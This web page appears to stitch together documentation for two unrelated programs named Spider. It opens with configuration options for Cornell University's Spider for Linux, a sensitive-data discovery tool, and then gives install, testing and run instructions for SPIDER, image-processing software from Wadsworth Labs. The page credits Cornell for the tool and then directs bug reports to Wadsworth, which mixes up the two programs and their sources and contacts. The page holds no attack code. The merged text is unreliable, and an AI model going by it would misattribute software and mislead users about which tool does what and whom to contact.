Encrypt (0|1) determines whether the communications between Spider client and server are encrypted. Defaults to 1. As Spider will, by design, selectively discover and concentrate sensitive data, encrypted communications are extremely desirable.
Cipher (Blowfish|DES) selects the cipher to use of those available to the Crypt::CBC perl module. Blowfish is the default.
Key (user defined) gives the encryption key used by both Spider client and spider_server for secure communications. Ideally, this is uniquely defined for each Spider use in non-loopback communications and never reused. No effort is made to periodically change keying material and the communication of keying material to Spider clients is assumed to be the security responsibility of the user.
Interface (user defined, default 127.0.0.1) gives the interface on which spider_server should listen for connections. Giving the localhost interface prevents outside clients from accessing spider_server
Port (user defined, default 3000) gives the port on which Spider client and server communicate. Protocol is UDP and max payload size is 1024 bytes plus any overhead incurred by HMAC
Loghost (user defined, default localhost) is the log server to which Spider clients should send their results.
Summary 0|1; determines whether to send a summary of file types to the loghost. Can be used to keep server logs brief.
Types <number>; only report on the top <number> of file types found
Max_depth <bytes>; only scan files to <bytes> depth. Generally results in a speed improvement if kept less than 20000
Unprint <quoted char>; replace unprintable characters with <char>. Defaults to "."
Unpack 0|1; unpack archives in /tmp and scan the results. Can slow Spider but does result in better discovery

Citations

Thanks to Cornell University for providing this tool. The most recent information concerning Cornell Spider for Linux may be found at http://cit.cornell.edu/computer/security/tools/spider-linux.html
http://www.humboldt.edu/its/security-cornellspiderlinux
 

BUGS, SUGGESTIONS

In the event that you have questions about methodologies or wish to report bugs please send us complete info on what you are trying to do, including the operating system, SPIDER executable, relevant results files, procedure files, and error messages. The more complete the info the faster the response.
Send this info to:
ArDean Leith
Wadsworth Labs, P.O. Box 509, Albany, New York 12201
Phone: 518-486-5604
Email: spider@wadsworth.org

DOCUMENTATION

There is an overview of SPIDER documentation in the file: documents.html in the SPIDER_DIR/docs sub-directory. All SPIDER documentation is included with the distribution and is accessible via your Web browser. Just point your browser at: SPIDER_DIR/docs/spider.html

TESTING SPIDER


Some simple tests are available to see if SPIDER is operating correctly. If SPIDER does not run:
  • If you get an error message like: command not found
    See "Setting 'spider' command" above to ensure that your desired executable is accessible.
  • If you get a error message about a missing library:
    The executables distributed with SPIDER are mostly statically linked so this should not be a problem. Any missing libraries are probably system libraries (unless you are trying to use the MPI version of SPIDER). You can use: ldd your-spider-executable to investigate missing libraries.

  • If SPIDER runs but complains about the 'Nextresults' script which increments the Results file version number
    Your Linux distribution (e.g. Ubuntu) may have a non-standard sort operation.
    Edit: spider/bin/Nextresults and replace:
    lastfi=`(\ls $1.[0-9]* | sort -t. +2n | tail -1)`
    with
    lastfi=`(\ls $1.[0-9]* | sort -t. -k2 -n | tail -1)`
  • If SPIDER still does not run
    Please contact us at the address below.

RUNNING SPIDER

Run SPIDER in a terminal window: spider three-character-data-extension
All SPIDER data files will have the three-character-data-extension (called a datacode within SPIDER) added automatically inside SPIDER.
The SPIDER "RESULTS" files are named results.ext.? where ext is the datacode and "?" is a version number which is incremented over any existing results file version in that directory.

INSTALLATION


    • Executables

      The spider/bin directory should contain the following executable files (as well as others):
      SPIDER Optimal
      processor
      Optima
      byte order
      "Makefile"
      spider_linux AMD/Intel 32 (single processor) Big endian Makefile_linux
      spider_linux_mp_intel AMD/Intel 32 (multiple processors) Big endian Makefile_linux_mp_intel
      spider_linux_mp_opt64 AMD Opteron 64 (multiple processors) Big endian Makefile_linux_mp_opt64
      spider_linux_mp_intel64 Intel xeon 64 (multiple processors) Big endian Makefile_linux_mp_intel64
      spider_linux_mpi_opt64 AMD Opteron 64 (for MPI use) Big endian Makefile_linux_mpi_opt64
      spider_osx_32_pgi Intel Apple 32 bit (multiple processors) Big endian Makefile_osx_x32_pgi
      spider_osx_64_pgi Intel Apple 64 bit (multiple processors) Big endian Makefile_osx_64_pgi
    • Setting "spider" Command and Environment variables

      You will need to tell your system the location of your executables, and other SPIDER system files. You should edit PARENT_DIR in the following lines to point to the location of the SPIDER installation on your system. Then place all of the following set of lines in your .cshrc or .bashrc startup file. (If you do not have such a startup file in your home directory you can create it with any text editor.)


      Using the 'C' shell:
      setenv SPIDER_DIR "PARENT_DIR/spider"
      setenv SPBIN_DIR  "$SPIDER_DIR/bin/"
      setenv SPMAN_DIR  "$SPIDER_DIR/man/"
      setenv SPPROC_DIR "$SPIDER_DIR/proc/"
      if ( $?path ) then
        set path=($path $SPBIN_DIR)
      else
        set path=($SPBIN_DIR)
      endif

      Using the 'bash' shell:
      export SPIDER_DIR= "PARENT_DIR/spider"
      export SPBIN_DIR=  "$SPIDER_DIR/bin/"
      export SPMAN_DIR=  "$SPIDER_DIR/man/"
      export SPPROC_DIR= "$SPIDER_DIR/proc/"
      export PATH=       "${SPIDER_DIR}/bin:${PATH}"
      Note: Do not use a ~username construct in the SPIDER_DIR path or SPIDER will be unable to find the Results file naming script.
      Finally rename the desired spider_linux executable in PARENT_DIR/spider/bin to: spider for easy access.
    • FFTW Libraries

      The Linux and OSX SPIDER executables are statically linked with necessary FFTW libraries. You no longer need to have shared run-time FFTW libraries on your system when using SPIDER's supplied binaries.
    • Compiling and Linking SPIDER.

      If you wish to modify SPIDER source code, link SPIDER with different libraries, or compile SPIDER with different compilation options (e.g. optimize speed for your processors) you will have to have a Fortran 95 compiler on your system. See SPIDER Compilation and Linking on Linux documentation for further information.

LOADING THE SPIDER/WEB DISTRIBUTION



  1. Download SPIDER/Web and place it in an appropriate directory: PARENT-DIR.
    The compressed SPIDER/Web distribution takes about 180 Mb of disk space. The uncompressed whole distribution will take about 850Mb but includes libraries and executables for several different systems some of which can be discarded.

  2. Uncompress the tar archive e.g.
    gunzip spiderweb.tar.gz

  3. Unpack the tar archive e.g.
    tar -xvf spiderweb.tar
  4. The following SPIDER directories will be created under: PARENT-DIR (along with other directories for Web, etc.):
    Directory Contents
    spider/src SPIDER source code, SPIDER libraries
    spider/bin SPIDER executables
    spider/docs SPIDER documentation, html pages
    spider/proc Sample procedure files
    spider/fftw FFTW code and libraries
    spider/man Operation manual pages, Nextresults
    spider/pubsub PubSub scripts, documentation and executables

SPIDER Installation on Linux and OSX